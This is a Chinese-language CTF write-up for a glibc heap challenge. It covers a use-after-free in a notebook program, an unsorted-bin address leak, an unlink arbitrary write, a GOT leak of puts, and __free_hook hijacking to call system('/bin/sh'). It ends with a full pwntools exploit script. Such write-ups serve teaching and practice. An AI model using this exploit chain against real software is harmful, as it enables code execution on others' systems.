堆的内部结构
在程序的执行过程中,我们称由 malloc 申请的内存为 chunk
。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; struct malloc_chunk * fd_nextsize; struct malloc_chunk * bk_nextsize; };
关于堆的结构很重要的一点在于,其使用和 free
状态下的结构一致,只是相应功能有区别。例如使用时 fd
段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd
中。
程序分析
checksec
程序开启了 PIE 保护
程序运行
源码分析
程序主要由 gift
, add
, edit
,
show
, delete
几个函数构成。其中
gift
函数直接让我们可以进行 __free_hook
劫持。
1 2 3 4 5 void gift () { printf ("give me a hook\n" ); if (scanf ("%p" , &hook) <= 0 ) _exit(1 ); }
因此考虑通过 __free_hook
劫持执行
system('/bin/sh')
得到 shell。
在 delete
函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use After
Free 漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void delete () { unsigned int index; printf ("Index: " ); scanf ("%u" , &index); if (index >= 16 ) { printf ("There are only 16 pages in this notebook.\n" ); return ; } if (notes[index] == NULL ) { printf ("Page not found.\n" ); return ; } free (notes[index]); return ; }
攻击流程
泄露程序基址
由于程序打开了
PIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中
.text , .data 或者 .bss 中的地址来计算程序基址。这里选择
main_arena
进行泄露,因为通过 Unsorted Bin
的机制会很容易得到。
申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 Unsorted
Bin。这里 chunk1 的 fd 就会指向某个与 main_arena
有关的地址。经过动态调试得知, 它指向
&main_arena - 0x08
。
不过目前我还不明白,为什么只有一个 chunk
的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在
main_arena.bins
中存储相关指针即可。
泄露 libc 基址
得到程序基址后,为了得到 system
函数的地址,还需要获得
libc 基址。而程序中唯一可利用的输出函数位于 show
函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void show () { unsigned int index; printf ("Index: " ); scanf ("%u" , &index); if (index >= 16 ) { printf ("There are only 16 pages in this notebook.\n" ); return ; } if (notes[index] == NULL ) { printf ("Page not found.\n" ); return ; } puts (notes[index]); return ; }
我们需要尝试将 notes[index]
修改为一个 got
表中的值,例如 read@got[plt]
。
利用 unlink 实现任意地址读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unlink_chunk (mchunkptr p){ if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; fd->bk = bk; bk->fd = fd; }
FD=P->fd = target addr - 0x18
BK=P->bk = expect value
FD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value
BK->fd = FD,即 *(expect value +0x10) = FD = target addr-
0x18
在 64 位程序里,chunk 每个字段占 8 个字节。
由于程序中存在 UAF 漏洞,只需要申请两个
chunk,大小为 16(或者更大)。删除 chunk1 后编辑
chunk1 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行
unlink 相关代码。
不过这里在测试时发生了段错误,如下图:
后来发现是因为 got 表中
<read@got[plt]+0x10>
的值被修改了,而这个位置恰好存储
__printf_chk
函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。
.got
执行 system('/bin/sh')
传参
观察 __free_hook
相关的代码,可以发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void delete () { free (notes[index]); return ; } void free (void *mem) { mchunkptr p; INTERNAL_SIZE_T size; mchunkptr nextchunk; INTERNAL_SIZE_T nextsize; int nextinuse; INTERNAL_SIZE_T prevsize; mchunkptr bck; mchunkptr fwd; if (__builtin_expect (hook != NULL , 0 )) { (*hook)(mem); return ; }
只需要将 mem
对应的位置修改为 '/bin/sh'
即可,而使用程序中自带的 edit 功能就能实现。
__free_hook
劫持
这题直接提供了后门函数 gift
用于修改
&hook
上的值。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level = "debug" context.arch = "amd64" libc = ELF("./libc.so.6" ) p = process("./vuln" ) def add (index,size ): p.sendline(b"1" ) p.sendlineafter("Index:" ,str (index)) p.sendlineafter("Size: " ,str (size)) def dele (index ): p.sendline(b"2" ) p.sendlineafter("Index:" ,str (index)) def edit (index,content ): p.sendline(b"3" ) p.sendlineafter("Index:" ,str (index)) p.sendlineafter("Content: " ,content) def show (index ): p.sendline(b"4" ) p.sendlineafter("Index:" ,str (index)) add(2 ,8 ) add(3 ,8 ) dele(2 ) dele(3 ) show(2 ) bss_addr = u64(p.recvuntil('\x0a\x77\x65' ,drop=True )[-6 :].ljust(8 , b'\x00' )) elfbase = bss_addr + 0x8 - 0x3810 print ("bss:" ,hex (bss_addr))note = elfbase + 0x3880 puts = elfbase + 0x3768 add(0 ,16 ) add(1 ,16 ) dele(0 ) edit(0 ,p64(note-0x18 )+p64(puts)) dele(1 ) show(0 ) puts_addr = u64(p.recvuntil('\x0a\x77\x65' ,drop=True )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.sym["puts" ] sys_addr = libc_base + libc.sym["system" ] add(6 ,8 ) edit(6 ,b"/bin/sh" ) p.sendline(b"6" ) p.sendlineafter(b"give me a hook\n" ,hex (sys_addr)) dele(6 ) p.interactive()